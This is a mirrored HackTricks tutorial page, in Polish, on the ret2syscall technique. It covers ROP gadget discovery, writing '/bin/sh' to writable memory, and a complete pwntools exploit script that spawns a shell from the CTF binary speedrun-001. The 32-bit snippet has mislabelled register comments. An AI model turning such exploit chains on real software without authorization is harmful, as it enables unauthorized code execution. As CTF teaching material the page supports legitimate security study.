mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
186 lines
6.2 KiB
Markdown
186 lines
6.2 KiB
Markdown
# Ret2syscall
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Podstawowe informacje
|
|
|
|
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscall `sys_execve` z pewnymi argumentami, aby wykonać `/bin/sh`. Technika ta jest zazwyczaj stosowana w binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall.
|
|
|
|
Aby przygotować wywołanie dla **syscall**, potrzebna jest następująca konfiguracja:
|
|
|
|
- `rax: 59 Wskazuje sys_execve`
|
|
- `rdi: wskaźnik do "/bin/sh" wskazuje plik do wykonania`
|
|
- `rsi: 0 wskazuje brak przekazanych argumentów`
|
|
- `rdx: 0 wskazuje brak przekazanych zmiennych środowiskowych`
|
|
|
|
Tak więc, zasadniczo trzeba napisać ciąg `/bin/sh` gdzieś, a następnie wykonać `syscall` (biorąc pod uwagę potrzebne wypełnienie do kontrolowania stosu). W tym celu potrzebujemy gadżetu, aby zapisać `/bin/sh` w znanym obszarze.
|
|
|
|
> [!TIP]
|
|
> Innym interesującym syscall do wywołania jest **`mprotect`**, który pozwoliłby atakującemu na **zmodyfikowanie uprawnień strony w pamięci**. Można to połączyć z [ret2shellcode](stack-shellcode.md).
|
|
|
|
## Gadżety rejestrów
|
|
|
|
Zacznijmy od znalezienia **jak kontrolować te rejestry**:
|
|
```c
|
|
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
|
0x0000000000415664 : pop rax ; ret
|
|
0x0000000000400686 : pop rdi ; ret
|
|
0x00000000004101f3 : pop rsi ; ret
|
|
0x00000000004498b5 : pop rdx ; ret
|
|
```
|
|
Z tymi adresami możliwe jest **zapisanie zawartości na stosie i załadowanie jej do rejestrów**.
|
|
|
|
## Zapisz ciąg
|
|
|
|
### Pamięć do zapisu
|
|
|
|
Najpierw musisz znaleźć miejsce do zapisu w pamięci.
|
|
```bash
|
|
gef> vmmap
|
|
[ Legend: Code | Heap | Stack ]
|
|
Start End Offset Perm Path
|
|
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
|
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
|
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
|
```
|
|
### Zapisz ciąg w pamięci
|
|
|
|
Następnie musisz znaleźć sposób na zapisanie dowolnej treści pod tym adresem.
|
|
```bash
|
|
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
|
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
|
```
|
|
### Automatyzacja łańcucha ROP
|
|
|
|
Poniższe polecenie tworzy pełny łańcuch `sys_execve` ROP dla statycznego binarnego pliku, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
|
|
```bash
|
|
ROPgadget --binary vuln --ropchain
|
|
```
|
|
#### 32 bity
|
|
```python
|
|
'''
|
|
Lets write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
|
|
rop += popRdx # place value into EAX
|
|
rop += "/bin" # 4 bytes at a time
|
|
rop += popRax # place value into edx
|
|
rop += p32(0x6b6000) # Writable memory
|
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|
|
|
rop += popRdx
|
|
rop += "//sh"
|
|
rop += popRax
|
|
rop += p32(0x6b6000 + 4)
|
|
rop += writeGadget
|
|
```
|
|
#### 64 bity
|
|
```python
|
|
'''
|
|
Lets write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
rop = ''
|
|
rop += popRdx
|
|
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
|
rop += popRax
|
|
rop += p64(0x6b6000) # Writable memory
|
|
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|
```
|
|
## Brak Gadżetów
|
|
|
|
Jeśli **brakuje gadżetów**, na przykład do zapisania `/bin/sh` w pamięci, możesz użyć **techniki SROP, aby kontrolować wszystkie wartości rejestrów** (w tym RIP i rejestry parametrów) ze stosu:
|
|
|
|
{{#ref}}
|
|
srop-sigreturn-oriented-programming.md
|
|
{{#endref}}
|
|
|
|
Mogą istnieć gadżety w regionie vDSO, który jest używany do przechodzenia z trybu użytkownika do trybu jądra. W tego typu wyzwaniach zazwyczaj dostarczany jest obraz jądra do zrzutu regionu vDSO.
|
|
|
|
## Przykład Eksploitu
|
|
```python
|
|
from pwn import *
|
|
|
|
target = process('./speedrun-001')
|
|
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
|
|
|
# Establish our ROP Gadgets
|
|
popRax = p64(0x415664)
|
|
popRdi = p64(0x400686)
|
|
popRsi = p64(0x4101f3)
|
|
popRdx = p64(0x4498b5)
|
|
|
|
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
|
writeGadget = p64(0x48d251)
|
|
|
|
# Our syscall gadget
|
|
syscall = p64(0x40129c)
|
|
|
|
'''
|
|
Here is the assembly equivalent for these blocks
|
|
write "/bin/sh" to 0x6b6000
|
|
|
|
pop rdx, 0x2f62696e2f736800
|
|
pop rax, 0x6b6000
|
|
mov qword ptr [rax], rdx
|
|
'''
|
|
rop = ''
|
|
rop += popRdx
|
|
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
|
rop += popRax
|
|
rop += p64(0x6b6000)
|
|
rop += writeGadget
|
|
|
|
'''
|
|
Prep the four registers with their arguments, and make the syscall
|
|
|
|
pop rax, 0x3b
|
|
pop rdi, 0x6b6000
|
|
pop rsi, 0x0
|
|
pop rdx, 0x0
|
|
|
|
syscall
|
|
'''
|
|
|
|
rop += popRax
|
|
rop += p64(0x3b)
|
|
|
|
rop += popRdi
|
|
rop += p64(0x6b6000)
|
|
|
|
rop += popRsi
|
|
rop += p64(0)
|
|
rop += popRdx
|
|
rop += p64(0)
|
|
|
|
rop += syscall
|
|
|
|
|
|
# Add the padding to the saved return address
|
|
payload = "0"*0x408 + rop
|
|
|
|
# Send the payload, drop to an interactive shell to use our new shell
|
|
target.sendline(payload)
|
|
|
|
target.interactive()
|
|
```
|
|
## Inne przykłady i odniesienia
|
|
|
|
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
|
- 64 bity, brak PIE, nx, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam.
|
|
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
|
- 64 bity, nx, brak PIE, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam. W celu zapisania na stosie nadużywana jest funkcja wykonująca operacje matematyczne.
|
|
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
|
- 64 bity, brak PIE, nx, BF canary, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam.
|
|
- [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
|
|
- 32 bity, brak ASLR, użyj vDSO do znalezienia gadżetów ROP i wywołania `execve`.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|